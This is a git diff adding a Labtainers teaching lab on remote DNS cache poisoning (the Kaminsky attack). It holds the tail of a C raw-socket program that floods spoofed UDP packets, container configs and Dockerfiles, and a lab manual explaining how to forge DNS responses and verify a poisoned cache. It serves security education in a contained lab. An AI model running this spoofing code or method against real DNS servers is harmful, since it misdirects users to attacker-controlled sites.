You don't need +to spend your time writing the right checksum function. +Just for knowledge purpose, +remember the seconed parameter +for UDP checksum: +ipheader_size + udpheader_size + udpData_size +for IP checksum: +ipheader_size + udpheader_size +*********************************************************************************/ + + + + + + + + + + + + // Inform the kernel do not fill up the packet structure. we will build our own... + if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one))<0 ) +{ + printf("error\n"); + exit(-1); +} + + + + + +while(1){ + + +// This is to generate different query in xxxxx.example.edu + int charnumber; + charnumber=1+rand()%5; + *(data+charnumber)+=1; + + + + udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader)); // recalculate the checksum for the UDP packet + + // send the packet out. + if(sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) + printf("packet send error %d which means %s\n",errno,strerror(errno)); + + + } +close(sd); + +return 0; + +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/config/about.txt new file mode 100644 index 000000000..0d2c17833 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/config/about.txt @@ -0,0 +1 @@ +Remote DNS cache poisoning attack, aka Kaminsky DNS attack. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/config/start.config new file mode 100644 index 000000000..76fabd301 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/config/start.config @@ -0,0 +1,168 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER apollo-dns + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED apollo-dns_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK SOME_NETWORK + MASK 192.168.0.0/24 + GATEWAY 192.168.0.101 +NETWORK WAN + MASK 203.0.113.0/24 + GATEWAY 203.0.113.101 +NETWORK ISP_GW + MASK 10.10.0.0/24 + GATEWAY 10.10.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER apollo-dns + # user name of user who interacts with the container. + USER ubuntu + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + TERMINAL_GROUP gateway + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + SOME_NETWORK 192.168.0.10 + # + # Script name passed to the Docker start command. This defaults to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + #SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + +CONTAINER attacker + # user name of user who interacts with the container. + USER ubuntu + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals attackers to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + WAN 203.0.113.3 + # + # Script name passed to the Docker start command. This attackers to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + +CONTAINER user + # user name of user who interacts with the container. + USER ubuntu + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals users to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + SOME_NETWORK 192.168.0.100 + # + # Script name passed to the Docker start command. This users to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + +CONTAINER gateway + # user name of user who interacts with the container. + USER ubuntu + SOME_NETWORK 192.168.0.1 + WAN 203.0.113.10 + TERMINAL_GROUP gateway + +CONTAINER isp + # user name of user who interacts with the container. + USER ubuntu + WAN 203.0.113.1 + ISP_GW 10.10.0.1 + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals isps to 1 + # + TERMINALS -1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + # + # Script name passed to the Docker start command. This isps to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/dockerfiles/Dockerfile.remote-dns.apollo-dns.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/dockerfiles/Dockerfile.remote-dns.apollo-dns.student new file mode 100644 index 000000000..3f62df1c1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/dockerfiles/Dockerfile.remote-dns.apollo-dns.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.wireshark +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends bind9 +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +RUN adduser $user_name wireshark + +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** + +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +#USER root +#CMD ["/usr/sbin/init"] +# replace below with two above for centos +ENTRYPOINT sudo /sbin/faux_init && bash +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/dockerfiles/Dockerfile.remote-dns.attacker.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/dockerfiles/Dockerfile.remote-dns.attacker.student new file mode 100644 index 000000000..cae66a63a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/dockerfiles/Dockerfile.remote-dns.attacker.student @@ -0,0 +1,68 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends bind9 libnet-dev libpcap-dev +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +#USER root +#CMD ["/usr/sbin/init"] +# replace below with two above for centos +ENTRYPOINT sudo /sbin/faux_init && bash +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/dockerfiles/Dockerfile.remote-dns.gateway.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/dockerfiles/Dockerfile.remote-dns.gateway.student new file mode 100644 index 000000000..b51671b63 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/dockerfiles/Dockerfile.remote-dns.gateway.student @@ -0,0 +1,67 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / + + +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +#USER root +#CMD ["/usr/sbin/init"] +# replace below with two above for centos +ENTRYPOINT sudo /sbin/faux_init && bash +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/dockerfiles/Dockerfile.remote-dns.isp.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/dockerfiles/Dockerfile.remote-dns.isp.student new file mode 100644 index 000000000..ea87d94eb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/dockerfiles/Dockerfile.remote-dns.isp.student @@ -0,0 +1,65 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +#USER root +#CMD ["/usr/sbin/init"] +# replace below with two above for centos +ENTRYPOINT sudo /sbin/faux_init && bash +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/dockerfiles/Dockerfile.remote-dns.user.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/dockerfiles/Dockerfile.remote-dns.user.student new file mode 100644 index 000000000..ea87d94eb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/dockerfiles/Dockerfile.remote-dns.user.student @@ -0,0 +1,65 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +#USER root +#CMD ["/usr/sbin/init"] +# replace below with two above for centos +ENTRYPOINT sudo /sbin/faux_init && bash +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/DNS_Remote.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/DNS_Remote.tex new file mode 100644 index 000000000..d50aac052 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/remote-dns/docs/DNS_Remote.tex @@ -0,0 +1,706 @@ +\input{header} + +%\documentclass{article} +%\usepackage{graphicx} +%\usepackage{color} +%\usepackage[latin1]{inputenc} +%\usepackage{lgrind} +%\input {highlight.sty} + +\lhead{\bfseries SEED Labs -- Remote DNS Cache Poisoning Attack Lab} + + +\def \code#1 {\fbox{\scriptsize{\texttt{#1}}}} + +\begin{document} + +\begin{center} +{\LARGE Remote DNS Cache Poisoning Attack Lab} +\end{center} + +\copyrightnotice + +\section{Lab Overview} + +The objective of this lab is for students to gain the first-hand experience +on the remote DNS cache poisoning attack, also called the Kaminsky +DNS attack~\cite{Kaminsky}. DNS~\cite{bib1} (Domain Name System) is the +Internet's phone book; it +translates hostnames to IP addresses and vice versa. +This translation is through DNS resolution, which happens behind +the scene. DNS Pharming~\cite{bib4} attacks manipulate this resolution process +in various ways, with an intent to misdirect users to +alternative destinations, which are often malicious. +This lab focuses on a particular DNS Pharming attack technique, called +{\em DNS Cache Poisoning attack}. + + + +\section{Lab Environment} +\label{sec:environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer remote-dns +\end{verbatim} +Links to this lab manual and to an empty lab report will be displayed. If you create your lab report on a separate system, +be sure to copy it back to the specified location on your Linux system. + + + +\begin{figure}[!htb] +\centering +\includegraphics*[ width=0.9\textwidth,natwidth=621,natheight=403]{Figs/remote-dns.jpg} +\caption{The Lab Environment Setup} +\label{fig:environment} +\end{figure} + + +Figure~\ref{fig:environment} illustrates the setup of the lab environment. +In this lab the user machine's IP address is {\tt 192.168.0.100}, +the DNS Server's IP is {\tt 192.168.0.10} and the attacker machine's IP is {\tt 203.0.113.3}. + + +\paragraph {Note for Instructors:} +For this lab, a lab session is desirable, especially if students are +not familiar with the tools and the environments. If an instructor +plans to hold a lab session (by himself/herself or by a TA), it +is suggested that the following topics are covered in the +lab session~\footnote{We assume that the instructor has already covered +the concepts of the attacks in the lecture, so we do not include +them in the lab session.}: +\begin{enumerate} + \item The use of Labtainers. + + \item The use of {\tt Wireshark}. + + \item Configuration of {\tt BIND 9} DNS server~\cite{bib2}. +\end{enumerate} + + +\subsection{Review the Local DNS server {\tt Apollo} Configuration} + +The {tt BIND 9} server program is installed on the Apollo DNS server. +The DNS server reads a configuration file named +{\tt /etc/bind/named.conf} when it starts. This configuration file includes an option +file, which is called {\tt /etc/bind/named.conf.options}. Please +review that file and note this entry: +\begin{verbatim} +options { + dump-file "/var/cache/bind/dump.db"; +}; +\end{verbatim} + +\noindent which instructs the DNS server to dump its cache into +a file named: \texttt{/var/cache/bind/dump.db} +whenever you run the command: +\begin{verbatim} +% sudo rndc dumpdb -cache // Dump the cache to dump.db +\end{verbatim} +\noindent You may delete the cache using: +\begin{verbatim} +% sudo rndc flush // Flush the DNS cache +\end{verbatim} + + +If a change is made to a configuration file, the DNS server must be +restarted: +\begin{verbatim} +% sudo /etc/init.d/bind9 restart +\end{verbatim} + + +\subsection{User Machine Configuration} +\label{subsec:user_machine} + +On the user machine {\tt 192.168.0.100}, we need to use +{\tt 192.168.0.10} as the default DNS server. This is achieved by +setting the file \texttt{/etc/resolv.conf} of the user machine to contain: + +\begin{verbatim} + nameserver 192.168.0.10 # the ip of the DNS server you just setup +\end{verbatim} + +\noindent +This is already set on the user machine. + +\subsection{The Wireshark Tool} + +{\tt Wireshark} is a very important tool for this lab, and you +probably need it to learn how exactly DNS works, as well as +debugging your attacks. This tool is installed in the Apollo +DNS Server for your convenience. + + +\section{Lab Tasks} + + +The main objective of Pharming attacks is to redirect the user +to another machine $B$ when the user tries to get to machine $A$ using +$A$'s host name. For example, assuming {\tt www.example.com} is an online banking +site. When the user tries to access this site using the +correct URL {\tt www.example.com}, if the adversaries can redirect the user +to a malicious web site that looks very much like +{\tt www.example.com}, the user might be fooled and give away +his/her credentials to the attacker. + +In this task, we use the domain name {\tt www.example.com} +as our attacking target. It should be noted that the {\tt example.com} +domain name is reserved for use in documentation, not for +any real company. The authentic IP address of {\tt www.example.com} is +{\tt 93.184.216.34}, and its name server is managed by +the Internet Corporation for Assigned Names and Numbers (ICANN). +When the user runs the {\tt dig} command +on this name or types the name in the browser, +the user's machine sends a DNS query to its local DNS +server, which will eventually ask for the IP address +from {\tt example.com}'s name server. + + +The goal of the attack is to launch the DNS cache poisoning attack +on the local DNS server, such that +when the user runs the {\tt dig} command to find out {\tt +www.example.com}'s IP address, the local DNS server will end +up going to the attacker's name server {\tt ns.dnslabattacker.net} +to get the IP address, so the IP address returned can be +any number that is decided by the attacker. As results, the +user will be led to the attacker's web site, +instead of the authentic {\tt www.example.com}. + + + +There are two tasks in this attack: cache poisoning and result +verification. In the first task, +students need to poison the DNS cache of the user's local DNS server {\tt +Apollo}, such that, in {\tt Apollo}'s DNS cache, +{\tt ns.dnslabattacker.net} is set as the name server for +the {\tt example.com} domain, instead of the domain's +registered authoritative name server. +In the second task, students need to demonstrate the impact of the attack. +More specifically, they need to run the command {\tt "dig +www.example.com"} from the user's machine, and the returned +result must be a fake IP address. + + + + +\begin{figure}[!htb] +\centering +\includegraphics*[width=0.9\textwidth,natwidth=621,natheight=403]{Figs/DNS_Remote_Flow1.pdf} +\caption{The complete DNS query process} +\label{fig:flow_diagram1} +\end{figure} + + +\begin{figure}[!htb] +\centering +\includegraphics*[width=0.9\textwidth,natwidth=621,natheight=403]{Figs/DNS_Remote_Flow2.pdf} +\caption{The DNS query process when {\tt example.com}'s name server is cached} +\label{fig:flow_diagram2} +\end{figure} + + +\subsection{Task 1: Remote Cache Poisoning} + +In this task, the attacker sends a DNS query request to the victim +DNS server ({\tt Apollo}), triggering a DNS query from {\tt Apollo}. The +query may go through one of the root DNS servers, the {\tt .COM} DNS server, and +the final result will come back from {\tt example.com}'s DNS server. This +is illustrated in Figure~\ref{fig:flow_diagram1}. In case that +{\tt example.com}'s name server information is already cached by +{\tt Apollo}, the query will not go through the root or the +{\tt .COM} server; this is illustrated in Figure~\ref{fig:flow_diagram2}. +In this lab, the situation depicted in Figure~\ref{fig:flow_diagram2} is +more common, so we will use this figure as the basis to describe +the attack mechanism. + +While {\tt Apollo} waits for the DNS reply from {\tt example.com}'s name +server, the attacker can send forged replies to {\tt Apollo}, pretending +that the replies are from {\tt example.com}'s name server. If the forged +replies arrive first, it will be accepted by {\tt Apollo}. The attack will +be successful. + + +One reason that cache poisoning attacks are difficult +is that the transaction ID +in the DNS response packet must match with that +in the query packet. Because the transaction ID in the query is +usually randomly generated, without seeing the query packet, +it is not easy for the attacker to know the correct ID. + + +Obviously, the attacker can guess the transaction ID. Since the +size of the ID is only 16 bits, if the attacker can forge $K$ +responses within the attack window (i.e. before the legitimate +response arrives), the probability of success is $K$ over $2^{16}$. +Sending out hundreds of forged responses is not impractical, so +it will not take too many tries before the attacker can succeed. + + +However, the above hypothetical attack has overlooked the cache effect. +In reality, if the attacker is not fortunately enough to make a correct guess before +the real response packet arrives, correct information will be cached +by the DNS server for a while. This caching effect makes it impossible +for the attacker to forge another response regarding the same +domain name, because the DNS server will not send out another DNS query for +this domain name before the cache times out. +To forge another response on the same domain name, the attacker has to +wait for another DNS query on this domain name, which means he/she has to +wait for the cache to time out. The waiting period can be hours or days. + + +\paragraph{The Kaminsky Attack.} +Dan Kaminsky came up with an elegant technique to defeat the caching effect~\cite{Kaminsky}. +With the Kaminsky attack, attackers will be able to continuously attack +a DNS server on a domain name, without the need for waiting, so +attacks can succeed within a very short period of time. +Details of the attacks are described in~\cite{Kaminsky}. +In this task, we will try this attack method. The following steps with reference to +Figure~\ref{fig:flow_diagram2} outlines the attack. + +\begin{enumerate} +\item The attacker queries the DNS Server {\tt Apollo} for a non-existing name in +{\tt example.com}, such as {\tt twysw.example.com}, +where {\tt twysw} is a random name. + +\item Since the mapping is unavailable in {\tt Apollo}'s DNS cache, +{\tt Apollo} sends a DNS query to the name server of +the {\tt example.com} domain. + +\item While {\tt Apollo} waits for the reply, +the attacker floods {\tt Apollo} with a stream of spoofed DNS response~\cite{bib6}, +each trying a different transaction ID, hoping one is correct. +In the response, not only does the attacker provide an IP resolution +for {\tt twysw.example.com}, the attacker +also provides an ``Authoritative Nameservers'' record, indicating +{\tt ns.dnslabattacker.net} as the name server for the {\tt example.com} domain. +If the spoofed response beats the actual responses and +the transaction ID matches with that in the query, +{\tt Apollo} will accept and cache the spoofed answer, and +and thus {\tt Apollo}'s DNS cache is poisoned. + +\item Even if the spoofed DNS response fails (e.g. +the transaction ID does not match or it comes too late), +it does not matter, because the next time, the attacker will query +a different name, so {\tt Apollo} has to send out another query, +giving the attack another chance to do the spoofing attack. +This effectively defeats the caching effect. + + +\item If the attack succeeds, in {\tt Apollo}'s DNS cache, the +name server for {\tt example.com} will be replaced by the attacker's +name server {\tt ns.dnslabattacker.net}. +To demonstrate the success of this attack, students need to show that such a record +is in {\tt Apollo}'s DNS cache. Figure~\ref{fig:cache_screenshot} shows +an example of poisoned DNS cache. + +\end{enumerate} + + + + +\paragraph{Attack Configuration.} The following configuration settings +facilitate your ability to perform the DNS cache poisoning attack. + +\begin{enumerate} + +\item {\em Attack Machine Configuration.} +The attack machine uses the targeted +DNS server (i.e., {\tt Apollo}) as its default DNS server. +The attacker {\tt /etc/resolv.conf} file is configured with the external +address of the site, exported by the gateway, i.e., 203.0.113.10. +The gateway forwards DNS requests to this address to the {\tt Apollo} DNS server. + +\item {\em Source Ports.} Some DNS servers now randomize the source port number +in the DNS queries; this makes the attacks much more difficult. Unfortunately, +many DNS servers still use predictable source port number. +For the sake of simplicity in this lab, we assume that the source port +number is a fixed number. The Apollo DNS server is configured to set +the source port for all DNS queries +to {\tt 33333}. This was done by adding the following option to the file {\tt /etc/bind/named.conf.options} +on {\tt Apollo}: +\begin{verbatim} + query-source port 33333 +\end{verbatim} + +\item {\em DNSSEC.} +Most DNS servers now adopt a protection scheme called "DNSSEC", which is +designed to defeat the DNS cache poisoning attack. If you do not turn +it off, your attack would be extremely difficult, if not impossible. +In this lab, we have disabled DNSSEC by changing +the file {\tt /etc/bind/named.conf.options} on {\tt Apollo}. Please find the line +{\tt "dnssec-validation auto"}, and note it is commented out, and a new line was added. See +the following: +\begin{verbatim} + //dnssec-validation auto; + dnssec-enable no; +\end{verbatim} + + +\item {\em Flush the Cache.} +Flush {\tt Apollo}'s DNS cache, and restart its DNS server. + + +\end{enumerate} + + +\begin{figure}[!htb] +\centering +\includegraphics*[viewport=0 50 600 750,width=1.0\textwidth,natwidth=621,natheight=403]{Figs/screenshot_packet.pdf} +\caption{A Sample DNS Response Packet} +\label{fig:response_packet} +\end{figure} + + + +\paragraph{Forge DNS Response Packets.} +In order to complete the attack, the attacker first needs to send +DNS queries to {\tt Apollo} for some random host names in +the {\tt example.com} domain. Right after each query is sent out, +the attacker needs to forge a large number of DNS response packets in a +very short time window, +hoping that one of them has the correct transaction ID and it reaches the target before +the authentic response does. It is better to write C code to achieve this. +To make your life easier, we have provided a sample code called {\tt “udp.c”}. +This program can send a large number of DNS packets. Feel free to +use this sample code when writing your attack programs. It is in the HOME directory +of the attacker machine. + +\begin{enumerate} + +\item When modifying the {\tt udp.c} program, you need to fill +each DNS field with the correct value. To understand the value in each +field, you can use {\tt Wireshark} to capture a few DNS query and response packets. + +\item DNS response packet details: it is not easy to construct a correct DNS +response packet. We made a sample packet to help you. +Figure~\ref{fig:response_packet} is the screen shot of an example response packet: +{\tt 10.0.2.6} is the local DNS server address, and +{\tt 199.43.132.53} is the real name server for {\tt example.com}. +The highlighted bytes are the raw UDP payload data, and you need to figure +out what they are. +The details about how each byte works are explained clearly in +Appendix~\ref{sec:response_detail}. +There are several techniques used in the response packet, such as +the string pointer offset to shorten the packet length. +You may not have to use that technique but it is +very common in real packets. + +\end{enumerate} + + +Check the {\tt dump.db} file to see whether your spoofed DNS +response has been successfully accepted by the DNS server. +See an example in Figure~\ref{fig:cache_screenshot}. + +\begin{figure}[!htb] +\centering +%\includegraphics*[viewport=0 0 600 680,width=1.0\textwidth]{Figs/cache_screenshot.pdf} +\includegraphics*[viewport=0 180 600 630,width=0.85\textwidth,natwidth=621,natheight=403]{Figs/cache_screenshot.pdf} +\caption{A Sample of Successfully Poisoned DNS Cache} +\label{fig:cache_screenshot} +\end{figure} + + +\subsection{Task 2: Result Verification} + + +If your attack is successful, {\tt Apollo}'s DNS cache will look like +that in Figure~\ref{fig:cache_screenshot}, i.e., the {\tt NS} record +for {\tt example.com} becomes {\tt ns.dnslabattacker.net}. To make sure +that the attack is indeed successful, we run the {\tt dig} command +on the user machine (see 